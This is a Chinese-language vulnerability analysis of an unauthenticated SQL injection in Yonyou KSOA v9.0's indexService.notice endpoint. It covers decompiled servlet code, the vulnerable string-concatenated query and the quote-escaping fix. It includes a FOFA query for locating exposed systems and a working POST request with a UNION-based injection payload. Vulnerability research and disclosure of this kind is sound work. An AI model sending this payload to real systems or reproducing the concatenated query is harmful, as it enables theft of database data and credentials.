漏洞简介
用友时空KSOA是建立在SOA理念指导下研发的新一代产品,是根据流通企业最前沿的I需求推出的统一的IT基础架构,它可以让流通企业各个时期建立的IT系统之间彼此轻松对话,帮助流通企业保护原有的IT投资,简化IT管理,提升竞争能力,确保企业整体的战略目标以及创新活动的实现。 用友时空KSOA indexService.notice 接口处存在sql注入漏洞,未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证,最终可能导致服务器失陷。
影响版本
用友时空 KSOA v9.0
fofa语法
app="用友-时空KSOA"
漏洞分析
先看下 formservice 在web.xml 里的相关 servlet 配置
<servlet>
<servlet-name>formservice</servlet-name>
<servlet-class>com.artery.form.FormService</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>formservice</servlet-name>
<url-pattern>/formservice/*</url-pattern>
</servlet-mapping>
/formservice/ 对应的类为 com.artery.form.FormService 看下其实现关键业务逻辑部分
protected final void service(HttpServletRequest var1, HttpServletResponse var2) {
String var3;
if (a && GeneralUtility.isNotBlack(var3 = var1.getHeader("referer")) && var3.lastIndexOf(var1.getScheme() + "://" + var1.getServerName()) != 0) {
outputError(var2, LocalMessage.getInstance(var1).getMessage("formservice.error.invalidRequest"));
} else {
long var49 = System.currentTimeMillis();
String var5;
boolean var50 = (var5 = var1.getParameter("inflate")) != null && var5.equals("true");
Object[] var6;
Object var7;
try {
var7 = ((Class)(var6 = getService(var1, var1.getParameter("service")))[0]).newInstance();
} catch (Exception var39) {
outputError(var2, (Throwable)var39);
return;
}
Class var8 = (Class)var6[0];
int var9 = (Integer)var6[2];
String var10 = (String)var6[3];
String var11 = (String)var6[4];
Class[] var12 = var8.getInterfaces();
int var13 = 0;
while(true) {
if (var13 < var12.length) {
if (var12[var13] != ISecurityService.class) {
++var13;
continue;
}
Method var61 = null;
try {
var61 = var8.getMethod("isAccessible", HttpServletRequest.class, String.class);
try {
var61.invoke(var7, var1, var11);
} catch (IllegalArgumentException var35) {
outputError(var2, (Throwable)var35);
return;
} catch (IllegalAccessException var36) {
outputError(var2, (Throwable)var36);
return;
} catch (InvocationTargetException var37) {
outputError(var2, (Throwable)var37);
return;
}
} catch (NoSuchMethodException var38) {
}
if (var61 == null) {
try {
UserContext var57 = UserContext.getCurrentUserContext(var1);
UserContext.checkAnonymous(var1);
String var62;
if ((var62 = var1.getParameter("_pid")) == null || var62.length() <= 0) {
throw new AuthenticationException(LocalMessage.getInstance(var1).getMessage("formservice.error.noaccess", new String[]{var10, LocalMessage.getInstance(var1).getMessage("login.error.invalidpassport")}));
}
var57.checkSameUser(var62);
} catch (AuthenticationException var48) {
outputError(var2, (Throwable)var48);
return;
}
}
}
Object var69 = null;
boolean var63 = var1.getMethod().equalsIgnoreCase("GET");
if (var9 != 0) {
try {
if (var63) {
String var58;
if ((var58 = GeneralUtility.getParameter(var1, "content")) == null) {
var58 = "";
}
if (var50 && var58.length() > 0) {
var58 = new String(GeneralUtility.gzipInflate(AlgorithmUtil.base64Decode(var58)), "UTF-8");
}
if (var9 == 1) {
if (var58.length() > 0) {
InputSource var64;
(var64 = new InputSource(new StringReader(var58))).setEncoding("UTF-8");
var69 = (new SAXReader()).read(var64);
} else {
var69 = DocumentHelper.createDocument();
}
} else if (var9 != 3 && var9 != 6) {
if (var9 == 4) {
var69 = var58.length() > 0 ? new JSONArray(var58) : new JSONArray();
} else if (var9 == 2) {
var69 = var58.toString();
} else if (var9 == 5) {
var69 = AlgorithmUtil.base64Decode(var58);
} else if (var9 == 7) {
Type var15;
Method var65;
if ((var15 = (var65 = (Method)var6[1]).getGenericParameterTypes()[2]) instanceof ParameterizedType) {
Type[] var51;
Class[] var14 = new Class[(var51 = ((ParameterizedType)var15).getActualTypeArguments()).length];
for(int var16 = 0; var16 < var51.length; ++var16) {
var14[var16] = GeneralUtility.getClassFromType(var51[var16]);
}
var69 = GeneralUtility.fromJson(var58, GeneralUtility.getClassFromType(var15), var14);
} else {
var69 = GeneralUtility.fromJson(var58, GeneralUtility.getClassFromType(var15), new Class[0]);
}
}
} else {
var69 = var58.length() > 0 ? new JSONObject(var58) : new JSONObject();
}
} else {
byte[] var59 = null;
String var66;
if ((var66 = GeneralUtility.getParameter(var1, "content")) != null) {
var59 = var66.getBytes("UTF-8");
if (var50 && var59.length > 0) {
var59 = GeneralUtility.gzipInflate(var59);
}
} else {
String var70;
if ((var70 = var1.getContentType()) != null && var70.indexOf("multipart/form-data") >= 0) {
var59 = getUploadFileContent(var1);
if (var50 && var59.length > 0) {
var59 = GeneralUtility.gzipInflate(var59);
}
} else {
int var79;
if ((var79 = var1.getContentLength()) > 0) {
if (var50) {
var59 = GeneralUtility.gzipInflate(var1.getInputStream());
} else if (var9 != 1 && var9 != 5) {
ServletInputStream var52 = var1.getInputStream();
var59 = new byte[var79];
for(int var84 = 0; var84 < var79 && (var71 = ((InputStream)var52).read(var59, var84, var79)) != -1; var84 += var71) {
}
}
} else {
var59 = new byte[0];
}
}
}
if (var9 == 1) {
if (var59 != null) {
String var72 = new String(var59, "UTF-8");
InputSource var80;
(var80 = new InputSource(new StringReader(var72))).setEncoding("UTF-8");
var69 = (new SAXReader()).read(var80);
} else {
var69 = (new SAXReader()).read(var1.getInputStream());
}
} else if (var9 != 2 && var9 != 3 && var9 != 4 && var9 != 6) {
if (var9 == 5) {
if (var59 != null) {
var69 = new ByteArrayInputStream(var59);
} else {
var69 = var1.getInputStream();
}
} else if (var9 == 7) {
if (var59 != null) {
var66 = new String(var59, "UTF-8");
}
Type var53;
Method var73;
if ((var53 = (var73 = (Method)var6[1]).getGenericParameterTypes()[2]) instanceof ParameterizedType) {
Type[] var74;
Class[] var85 = new Class[(var74 = ((ParameterizedType)var53).getActualTypeArguments()).length];
for(int var17 = 0; var17 < var74.length; ++var17) {
var85[var17] = GeneralUtility.getClassFromType(var74[var17]);
}
var69 = GeneralUtility.fromJson(var66, GeneralUtility.getClassFromType(var53), var85);
} else {
var69 = GeneralUtility.fromJson(var66, GeneralUtility.getClassFromType(var53), new Class[0]);
}
}
} else {
var66 = new String(var59, "UTF-8");
if (var9 == 2) {
var69 = var66.toString();
} else if (var9 != 3 && var9 != 6) {
if (var9 == 4) {
var69 = var66.length() > 0 ? new JSONArray(var66) : new JSONArray();
}
} else {
var69 = var66.length() > 0 ? new JSONObject(var66) : new JSONObject();
}
}
}
} catch (Exception var47) {
outputError(var2, LocalMessage.getInstance(var1).getMessage("formservice.error.submitXMLNotValid", new Object[]{var10 + "." + var11, var47.getMessage()}));
return;
}
}
boolean var60 = false;
try {
label657: {
Object[] var10000;
if (var7 instanceof AbstractArteryService) {
var60 = true;
AbstractArteryService var81;
(var81 = (AbstractArteryService)var7).setCreateBySystem(true);
var81.setRequest(var1);
var81.setResponse(var2);
if (var9 == 0) {
var68 = new Object[0];
break label657;
}
if (var69 instanceof JSONObject) {
try {
JSONObject var54;
String[] var75 = JSONObject.getNames(var54 = (JSONObject)var69);
JSONArray var86 = null;
String[] var19 = var75;
int var18 = var75.length;
for(int var76 = 0; var76 < var18; ++var76) {
String var87;
if ((var87 = var19[var76]).equals("java.io.Serializable")) {
var86 = var54.getJSONArray("java.io.Serializable");
} else {
var81.putParam(var87, var54.get(var87));
}
}
if (var86 == null) {
var68 = new Object[0];
break label657;
}
Type[] var77;
Method var88;
var68 = new Object[(var77 = (var88 = (Method)var6[1]).getGenericParameterTypes()).length];
var18 = 0;
while(true) {
if (var18 >= var77.length) {
break label657;
}
var19 = var86.getString(var18);
Type var55;
if (!((var55 = var77[var18]) instanceof ParameterizedType)) {
var68[var18] = GeneralUtility.fromJson(var19, GeneralUtility.getClassFromType(var55), new Class[0]);
} else {
Type[] var82;
Class[] var89 = new Class[(var82 = ((ParameterizedType)var55).getActualTypeArguments()).length];
for(int var20 = 0; var20 < var82.length; ++var20) {
var89[var20] = GeneralUtility.getClassFromType(var82[var20]);
}
var68[var18] = GeneralUtility.fromJson(var19, GeneralUtility.getClassFromType(var55), var89);
}
++var18;
}
} catch (Exception var40) {
throw new IllegalArgumentException(var40);
}
}
var10000 = new Object[]{var69};
} else {
var10000 = var9 == 0 ? new Object[]{var1, var2} : new Object[]{var1, var2, var69};
}
var68 = var10000;
}
Object var78;
if ((var78 = ((Method)var6[1]).invoke(var7, var68)) != null || var9 == 6) {
String var83 = "root";
if (var9 == 6) {
var83 = "serializable";
if (!((Method)var6[1]).getGenericReturnType().equals(Void.TYPE)) {
var78 = GeneralUtility.toJson(var78);
} else {
var78 = JSONObject.NULL;
}
} else if (!(var78 instanceof String)) {
if (var78 instanceof JSONObject) {
var83 = "object";
} else if (var78 instanceof JSONArray) {
var83 = "array";
}
}
this.debug(var10, var11, var49, var69, var1);
var2.setContentType("text/xml;charset=UTF-8");
var2.setHeader("Pragma", "no-cache");
var2.setHeader("Expires", "0");
PrintWriter var56;
(var56 = var2.getWriter()).write("<?xml version=\"1.0\" encoding=\"utf-8\"?><");
((Writer)var56).write(var83);
((Writer)var56).write(">");
((Writer)var56).write(var78.toString());
((Writer)var56).write("</");
((Writer)var56).write(var83);
((Writer)var56).write(">");
((Writer)var56).flush();
}
return;
} catch (IllegalAccessException var41) {
outputError(var2, (Throwable)var41);
printError(var2, var10, var11, var41);
return;
} catch (SecurityException var42) {
outputError(var2, LocalMessage.getInstance(var1).getMessage("formservice.error.methodNotExist", new Object[]{var10, var11}));
printError(var2, var10, var11, var42);
return;
} catch (IllegalArgumentException var43) {
outputError(var2, (Throwable)var43);
printError(var2, var10, var11, var43);
return;
} catch (InvocationTargetException var44) {
outputError(var2, var44.getTargetException());
printError(var2, var10, var11, var44);
} catch (Exception var45) {
outputError(var2, (Throwable)var45);
printError(var2, var10, var11, var45);
return;
} finally {
if (var60) {
((AbstractArteryService)var7).release();
}
}
return;
}
}
}
整体执行流程大致如下图所示

其主要根据请求参数 "service" 获取服务信息,返回一个数组 var6,其中包含类信息。var7 是服务实例的创建,如果失败(如类不存在或实例化错误),捕获异常并输出错误,然后返回(结束方法)。
- 从
var6数组中提取服务相关信息:var8是服务类,var9是类型码,var10和var11是服务名和方法名。 - 循环检查服务类是否实现
ISecurityService接口。如果实现,尝试调用isAccessible方法进行访问权限检查;如果方法不存在或调用失败,fallback到基于用户上下文的检查(如检查参数 "_pid" 是否有效)。目的是确保只有授权用户才能访问服务,如果失败,输出错误并返回。 - 根据服务类型
var9和请求方法,解析输入数据。var9表示数据格式(如1为XML、2为字符串、4为JSONArray等)。如果启用 "inflate",则对数据进行解压缩和解码。目的是将请求数据转换为适当的对象(如XML文档、JSON对象),存储在var69中。如果数据无效,抛出异常并返回错误。 - 如果服务实例是
AbstractArteryService子类,则设置请求和响应对象,并处理参数。调用服务方法,获取返回值var78,根据类型转换为JSON或字符串,输出XML响应。var9 == 6的特殊处理可能表示无返回值服务。异常处理确保错误信息输出,finally块用于资源清理(如关闭连接)。整个过程记录调试信息。
总结下就是根据请求参数,动态调用指定服务方法,进行安全检查、权限验证、输入数据解析和输出XML响应。indexService.notice 表示调用 indexService 类的 notice 方法。
再在看下 plugins.xml 中对于 indexService 的定义类为 com.qy960.service.IndexService 其中的 notice 业务逻辑实现如下
public JSONObject notice(HttpServletRequest request, HttpServletResponse response, JSONObject obj) throws Exception {
JSONObject jobj = new JSONObject();
String id = obj.getString("id");
Database dbc = null;
StringBuffer sql = new StringBuffer();
sql.append(" select a.noticeid,a.noticetitle,a.noticecont,a.issuetime,b.staffname");
sql.append(" from SysNotice a ");
sql.append(" join staffdoc b on a.staffid = b.staffid ");
sql.append(" where a.noticeid = '" + id + "'");
try {
dbc = new Database();
dbc.prepareStatement(sql.toString());
ResultSet rs = dbc.executeQuery();
DataModel dtm = new DataModel(rs);
if (dtm.next()) {
将JSON中获取到的 id 的值直接拼接进SQL语句中,无任何过滤,造成SQL注入漏洞。
修复后的版本 添加了 DBUtil.sqlEncode 处理 id,其实现如下
public static String sqlEncode(String text) {
if (text == null) {
return "";
}
return StringEscapeUtils.escapeSql((String)text);
}
public static String escapeSql(String str) {
return str == null ? null : StringUtils.replace(str, "'", "''");
}
替换单引号为双单引号,就尽量避免了产生sql注入漏洞。
漏洞复现
ksoa 还有部分使用 Oracle 数据库,自行测试
POST /formservice?service=indexService.notice HTTP/1.1
Host: ksoa.mrxn.net
Content-Type: application/json
{"id":"1' UNION ALL SELECT NULL,NULL,@@version,NULL,NULL--"}

使用联合注入,成功在响应回显数据库版本信息。

